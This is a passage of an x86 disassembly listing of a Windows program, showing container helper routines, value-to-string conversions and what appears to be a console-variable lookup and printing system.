[esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402176 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AABB: ; CODE XREF: sub_40A9F0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40AB19 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402176 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E6F mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: sub_40A9F0+D8j test edi, edi jbe short loc_40AB53 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020AE mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E6F mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40A9F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABC0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ABC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABE0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40AC12 push edi mov edi, [esp+10h+arg_8] loc_40ABF6: ; CODE XREF: sub_40ABE0+27j push esi push edi mov ecx, ebx call sub_402121 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ABF6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AC12: ; CODE XREF: sub_40ABE0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ABE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC30 proc near ; CODE XREF: sub_402176j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AC57 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AC46: ; CODE XREF: sub_40AC30+23j push ebx push esi mov ecx, ebp call sub_402121 add esi, 4 dec edi jnz short loc_40AC46 pop esi pop ebx loc_40AC57: ; CODE XREF: sub_40AC30+Aj pop edi pop ebp retn 0Ch sub_40AC30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AC70 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014CE sub_40AC70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_402121j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401DE8 add esp, 8 retn 8 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ACED mov edx, [esp+arg_8] push esi loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ACE1 pop esi locret_40ACED: ; CODE XREF: sub_40ACD0+Aj retn sub_40ACD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD00 proc near ; CODE XREF: sub_4020AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AD22 mov eax, [esp+arg_8] push esi loc_40AD11: ; CODE XREF: sub_40AD00+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40AD11 pop esi retn ; --------------------------------------------------------------------------- loc_40AD22: ; CODE XREF: sub_40AD00+Aj mov eax, [esp+arg_8] retn sub_40AD00 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD60 proc near ; CODE XREF: sub_4014CEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AD6A xor eax, eax loc_40AD6A: ; CODE XREF: sub_40AD60+6j shl eax, 2 push eax call sub_4367FA sub_40AD60 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD90 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40ADAB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40ADAB: ; CODE XREF: sub_40AD90+11j retn sub_40AD90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj mov eax, ecx mov dword ptr [eax], offset off_43E014 retn sub_40ADC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40ADE0: ; CODE XREF: ___:00401717j ; ___:loc_402027j push esi mov esi, ecx call sub_402031 test byte ptr [esp+8], 1 jz short loc_40ADF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40ADF8: ; CODE XREF: ___:0040ADEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE10 proc near ; CODE XREF: sub_402031j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AE10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43E014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_401744 loc_40AE41: ; DATA XREF: sub_40AE52o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AE10 endp ; =============== S U B R O U T I N E ======================================= sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo mov eax, offset loc_40AE41 retn sub_40AE52 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE80 proc near ; CODE XREF: sub_4014BAj call sub_401708 jmp sub_4017B2 sub_40AE80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401B18j call sub_40161D jmp sub_4017C1 sub_40AEA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEC0 proc near ; CODE XREF: sub_4013D4j push esi mov esi, ecx push esi push offset sub_40141F lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AEE2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AEE2: ; CODE XREF: sub_40AEC0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AEC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF00: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF27 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_40175D mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AF27: ; CODE XREF: ___:0040AF09j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF40 proc near ; CODE XREF: sub_401744j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF5C mov eax, [esi+0Ch] push 0Fh push eax call sub_401758 add esp, 8 mov byte ptr [esi+10h], 0 loc_40AF5C: ; CODE XREF: sub_40AF40+8j pop esi retn sub_40AF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF70: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF90 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AF90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40AFBE: ; DATA XREF: sub_40AFD1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AF90 endp ; =============== S U B R O U T I N E ======================================= sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co mov eax, offset loc_40AFBE retn sub_40AFD1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B000 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B042 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_40218F mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B042: ; CODE XREF: sub_40B000+Bj pop esi add esp, 8 retn sub_40B000 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B070 proc near ; CODE XREF: sub_401DCAj var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B092 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B092: ; CODE XREF: sub_40B070+6j pop ecx retn sub_40B070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B0B0 proc near ; CODE XREF: sub_4019F1j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B0B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401749 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401BF4 sub_40B0B0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43E020 call sub_401BEF mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B170 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43E020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401BEF mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_401555 sub_40B170 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B210 proc near ; CODE XREF: sub_4017EEj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401BEF push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_40B210 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B390 proc near ; CODE XREF: sub_40180Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FBE mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FBE mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F32 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FBE lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401906 sub_40B390 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B430 proc near ; CODE XREF: sub_401B5Ej var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401861 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401861 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401861 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40180C sub_40B430 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B520 proc near ; CODE XREF: sub_4019CEj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_40153C add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401451 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B5A1 mov edi, [esp+10h+arg_0] loc_40B566: ; CODE XREF: sub_40B520+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4021AD test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B5AB call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B566 loc_40B5A1: ; CODE XREF: sub_40B520+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B5AB: ; CODE XREF: sub_40B520+60j call sub_401F5A mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B520 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B5F0: ; CODE XREF: ___:00401456j push 0FFFFFFFFh push offset loc_438BF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401861 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019CE lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B680 proc near ; CODE XREF: sub_401596j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B6D1 mov byte ptr [esi+19h], 1 loc_40B6D1: ; CODE XREF: sub_40B680+4Bj pop esi retn 8 sub_40B680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B700 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B755 mov byte ptr [esi+19h], 1 loc_40B755: ; CODE XREF: sub_40B700+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B790: ; CODE XREF: ___:00401D43j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017E4 push eax nop call near ptr 77C1BF18h fld dword ptr [esp+10h] fcomp flt_43E024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B7E1 mov byte ptr [esi+19h], 1 loc_40B7E1: ; CODE XREF: ___:0040B7DBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B810: ; CODE XREF: ___:00401C94j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B840 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015D7 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B840: ; CODE XREF: ___:0040B818j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015D7 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B880: ; CODE XREF: ___:00401D6Bj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4437F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B8B0 mov byte ptr [esi+19h], 1 loc_40B8B0: ; CODE XREF: ___:0040B8AAj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8D0: ; CODE XREF: ___:loc_401ACDj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_438C30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BA12 lea ebx, [esi+69h] mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+6Ch] call sub_40153C add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_401451 mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BA0B loc_40B976: ; CODE XREF: ___:0040BA05j lea ecx, [esp+6Ch] inc edi call sub_401F5A mov ecx, [eax] add ecx, 33h call sub_4017E4 push eax lea ecx, [esp+70h] call sub_401F5A mov ecx, [eax] call sub_4017E4 push eax lea ecx, [esp+74h] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4017E4 push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 24h push 5DCh nop call near ptr 2850303h lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40B976 loc_40BA0B: ; CODE XREF: ___:0040B970j mov al, 1 jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BA12: ; CODE XREF: ___:0040B907j lea ecx, [ebp+32h] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BAA5 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 1Ch jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BAA5: ; CODE XREF: ___:0040BA24j lea ecx, [ebp+60h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BB98 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 push edi lea ecx, [esp+18h] call sub_4014C9 mov ebx, 2 push 1 push offset asc_443600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F32 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: ___:0040BA60j ; ___:0040BAB7j ... xor al, al loc_40BB9A: ; CODE XREF: ___:0040BA0Dj ; ___:0040BAA0j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop 